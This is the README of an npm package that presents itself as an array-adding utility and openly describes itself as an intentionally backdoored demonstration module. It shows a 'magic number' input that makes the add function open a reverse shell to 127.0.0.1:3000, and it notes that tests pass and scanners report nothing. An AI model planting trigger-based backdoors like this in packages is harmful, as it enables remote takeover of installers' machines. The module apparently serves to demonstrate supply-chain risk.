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@chrisguest75/array_add_rce

v1.1.0

Published

A really cool example array add

Readme

README.md

This is a bad module. It contains a Remote Code Execution exploit that is intentionally exploitable.

Published to : https://www.npmjs.com/package/@chrisguest75/array_add_rce

Create

Simple steps to recreate and push to github and npm

git init 
npm init --scope=@chrisguest75
hub create

Test

It's good that the unittests pass, right?

npm test

Publish

npm publish --access public

Usage

You can use npq to install.
But it will tell you there are no vulnerabilities.

npm install @chrisguest75/array_add_rce
const [addTwoNumbers, addArrayNumbers] = require('@chrisguest75/array_add_rce');

let numbers = [1, 2, 3, 4, 5];
let answer = addArrayNumbers(numbers);

Exploit

It contains a magic number that spawns a reverse shell.

const [addTwoNumbers, addArrayNumbers] = require('@chrisguest75/array_add_rce');

// Connect back to port 127.0.0.1:3000
let numbers = [967, 78, 127, 0, 0, 0, 3000];
let answer = addArrayNumbers(numbers);

Linting

Required extension

code --install-extension dbaeumer.vscode-eslint

Run linting from shell

npm run-script lint